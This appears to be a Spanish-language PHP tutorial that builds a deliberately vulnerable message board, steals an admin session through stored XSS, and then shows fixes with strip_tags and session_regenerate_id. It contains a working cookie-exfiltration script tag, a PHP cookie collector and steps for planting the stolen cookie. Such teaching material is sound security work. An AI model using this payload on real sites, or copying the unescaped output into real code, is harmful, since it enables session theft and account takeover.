Introducción
En la mayoría de nuestras apps escritas en PHP utilizaremos sesiones. Las sesiones sirven para guardar datos que persisten aunque el usuario refresque la página. En este post veremos cómo robar una sesión y cómo prevenirlo.
Las sesiones generan una cookie y con dicha cookie identificamos al usuario. Por ejemplo, si yo inicio sesión se me da la cookie asd123 y si otro usuario inicia, se le da la cookie asd666 (son ejemplos).
Ahora supongamos que el usuario tiene permisos de administrador, y yo no. Pero si le robo su cookie y me la pongo a mí mismo, PHP pensará que soy el usuario administrador.
En otras palabras, inicialmente yo tenía la cookie asd123 y el usuario la asd666. Se la robo y ahora yo tengo la asd666.
Vamos a ver un ejemplo y prevención de secuestro o robo de sesión en PHP
Requisitos
Para que podamos robar la sesión a gusto, necesitamos dos cosas: que se pueda inyectar código HTML y que no se regenere el id de sesión.
Veremos un ejemplo práctico en donde un programador perezoso deja estas dos vulnerabilidades.
Probar y descargar ejemplo
Puedes probar el ejemplo por ti mismo. El zip contiene todo el código fuente de forma segura. Si quieres dejarlo vulnerable simplemente quita el strip_tags al imprimir los mensajes y comenta la línea de session_regenerate_id
Te dejo el código en GitHub: https://github.com/parzibyte/robo_sesion_php
Ejemplo y prevención de secuestro o robo de sesión en PHP
Será un sitio muy sencillo que tendrá 2 roles. Uno del usuario administrador cuyos datos serán:
- Usuario: admin
- Contraseña: 0UqiNBK8iQRrtK1yvHosV79h3
Y uno de un usuario normal, cuyos datos serán:
- Usuario: user
- Contraseña: 4PPvLoH19Jvbhig3rebUZnD63
No vamos a meternos con bases de datos ni estilos, porque lo que veremos es cómo robar sesiones, no cómo hacer un login y mantener la sesión.
Será una página en donde se escriben simples mensajes y todos los usuarios los pueden ver. Por simplicidad y para no meternos con bases de datos (aunque si quieres ver bases de datos aquí hay un tutorial con MySQL) guardaremos todo en un fichero de texto (aquí el tutorial).
Lo que haremos será que, sin saber la contraseña del administrador, el usuario podrá tener los privilegios del mismo. Esto será posible porque el usuario escribirá un script en una página en donde no debería.
Programar inicio de sesión
Hagamos primero el formulario para iniciar sesión. Ya en PHP comprobaremos si usuario es “admin” o “user” y en caso de que sí o no, pondremos una variable en el arreglo superglobal $_SESSION.
El formulario HTML queda así:
<!DOCTYPE html>
<html lang="es">
<head>
<meta charset="UTF-8">
<title>Inicio de sesión</title>
</head>
<body>
<form method="post" action="login.php">
<input type="text" placeholder="Usuario" name="usuario">
<br>
<input type="password" placeholder="Contraseña" name="password">
<br>
<button>Entrar</button>
</form>
</body>
</html>
Como vemos, se envía a login.php que se ve así:
<?php
$usuario = $_POST["usuario"];
$pass = $_POST["password"];
#Simple y tonta comprobación para efectos de simplicidad
session_start();
if($usuario === "admin" && $pass === "0UqiNBK8iQRrtK1yvHosV79h3"){
$_SESSION["admin"] = true;
$_SESSION["usuario"] = $usuario;
header("Location: tablero.php");
}else if($usuario === "user" && $pass === "4PPvLoH19Jvbhig3rebUZnD63"){
$_SESSION["admin"] = false;
$_SESSION["usuario"] = $usuario;
header("Location: tablero.php");
}else{
echo "No es válido";
}
?>
Tablero
En caso de login exitoso, se redirige al tablero en donde mostramos los últimos mensajes. Damos la opción de salir, y de agregar un nuevo mensaje.
<?php
session_start();
if(!isset($_SESSION["usuario"])) exit(); #Salir si sesión no está iniciada
#Recuperar los mensajes de un archivo
$mensajes = [];
if(file_exists("mensajes.txt")){
$mensajes = explode("\n", file_get_contents("mensajes.txt"));
}
?>
<!DOCTYPE html>
<html lang="es">
<head>
<meta charset="UTF-8">
<title>Tablero</title>
</head>
<body>
<h1>Hola <?php echo $_SESSION["usuario"]; ?></h1>
<a href="logout.php">Salir</a>
<a href="nuevo.html">Agregar mensaje</a>
<h3>Aquí están todos los mensajes del día:</h3>
<?php foreach ($mensajes as $mensaje) {
echo $mensaje . "<br>";
} ?>
</body>
</html>
Para salir es este código:
<?php
session_start();
session_destroy();
header("Location: formulario.html");
?>
El formulario para agregar un nuevo mensaje:
<!DOCTYPE html>
<html lang="es">
<head>
<meta charset="UTF-8">
<title>Agregar mensaje</title>
</head>
<body>
<form action="nuevo.php" method="post">
<input name="mensaje" id="mensaje"placeholder="Escribe tu mensaje"/>
<br>
<button>Guardar</button>
</form>
</body>
</html>
Y el archivo que guarda el mensaje:
<?php
#Crear si no existe
if(!file_exists("mensajes.txt")){
touch("mensajes.txt");
}
file_put_contents("mensajes.txt", $_POST["mensaje"] . PHP_EOL . PHP_EOL, FILE_APPEND);
header("Location: tablero.php");
?>
Con eso ya tenemos una interfaz buena. Me recuerda a las páginas de hace 20 años.
Con eso ya tenemos para agregar. Ahora sí viene lo bueno
Ataque XSS
Muy bien, entonces el usuario va a agregar un mensaje malicioso. Pero el admin no lo notará.
Para ello usaremos una etiqueta script que nos enviará a otro archivo PHP (generalmente debería estar en otro servidor, uno que sea del atacante, pero para efectos de simplicidad lo guardaremos en el mismo)
Entonces el mensaje es:
Hola. Aquí el usuario reportándose.
<script type="text/javascript">
fetch("./guardar_cookies.php?cookies="+document.cookie);
</script>
El usuario malicioso se mandará las cookies a guardar_cookies.php. Ese script será ejecutado cuando el administrador abra la página.
Entonces ingresamos el mensaje y no se verá nada sospechoso, pero nuestro script ya está ahí:
Ya que si vemos el código fuente:
Nota: en el código utilizo fetch para enviar las cookies.
Ahora falta programar el archivo guardar_cookies.php y tomar lo que hay en $_GET
:
<?php
#Guardar cookies recibidas en un archivo de texto
#Obviamente el atacante tendrá este código en un servidor propio
file_put_contents("cookies.txt", $_GET["cookies"] . PHP_EOL, FILE_APPEND);
?>
Nota: para escribir el archivo usamos file_put_contents.
¿Qué falta? esperar a que el admin inicie sesión, tomar su cookie y con ello modificar la nuestra.
Nosotros nos logueamos como usuario normal. Luego esperaremos a que el admin inicie sesión y tomaremos su cookie para usarla como nuestra, entonces en el tablero nos dirá “hola admin” en lugar de “hola user”.
Admin es atacado
Entonces el admin entra y ve los mensajes, no sospecha nada malo:
Pero ahora el atacante ve las cookies e inicia sesión aparte, en otro navegador en otra parte del mundo. La cookie guardada:
Iniciamos como usuario normal en otra parte, por ejemplo el modo incógnito:
Hora de cambiar nuestra cookie. Para ello sólo tenemos que hacer que document.cookie sea igual a lo que se guardó en el archivo de texto.
Yo lo cambiaré con la consola de depuración:
Ahora refrescaré mi página en donde estaba como usuario:
Así de fácil fue secuestrar la sesión del usuario administrador. Esto fue un ejemplo muy simple, pero ahora imaginemos una aplicación para transferir dinero en donde el administrador haga las transferencias, podríamos hacer todo lo que él hace.
Prevención de secuestro o robo de sesión
Podemos tomar muchas medidas. Primero, para prevenir el ataque XSS eliminamos las etiquetas HTML con strip_tags
:
http://php.net/manual/es/function.strip-tags.php
Entonces en el tablero haríamos esto:
<?php
session_start();
#Recuperar los mensajes de un archivo
$mensajes = [];
if(file_exists("mensajes.txt")){
$mensajes = explode("\n", file_get_contents("mensajes.txt"));
}
?>
<!DOCTYPE html>
<html lang="es">
<head>
<meta charset="UTF-8">
<title>Tablero</title>
</head>
<body>
<h1>Hola <?php echo $_SESSION["usuario"]; ?></h1>
<a href="logout.php">Salir</a>
<a href="nuevo.html">Agregar mensaje</a>
<h3>Aquí están todos los mensajes del día:</h3>
<?php foreach ($mensajes as $mensaje) {
echo strip_tags($mensaje) . "<br>";
} ?>
</body>
</html>
Así cualquier mensaje con HTML quedaría eliminado y este sería el código fuente al verlo:
Como vemos, ya no permite el uso del script y cuando vemos los mensajes notaremos algo sospechoso:
Y por si se diera el caso, también podemos regenerar el id de la sesión para que aunque la cookie sea enviada no sea válida porque se regenerará.
Entonces en el tablero llamamos a session_regenerate_id:
<?php
session_start();
session_regenerate_id(true);
if(!isset($_SESSION["usuario"])) exit(); #Salir si sesión no está iniciada
#Recuperar los mensajes de un archivo
$mensajes = [];
if(file_exists("mensajes.txt")){
$mensajes = explode("\n", file_get_contents("mensajes.txt"));
}
?>
<!DOCTYPE html>
<html lang="es">
<head>
<meta charset="UTF-8">
<title>Tablero</title>
</head>
<body>
<h1>Hola <?php echo $_SESSION["usuario"]; ?></h1>
<a href="logout.php">Salir</a>
<a href="nuevo.html">Agregar mensaje</a>
<h3>Aquí están todos los mensajes del día:</h3>
<?php foreach ($mensajes as $mensaje) {
echo strip_tags($mensaje) . "<br>";
} ?>
</body>
</html>
Finalmente podemos agregar una capa extra con un token CSRF: Explicación y prevención de CSRF
Recuerda que en el inicio del post dejé el código fuente para que puedas probar todo por ti mismo.
Wow muy interesante, pero hay algo que no comprendo, esa inyección ocurre cuando?, cuando el visitante publica un mensaje?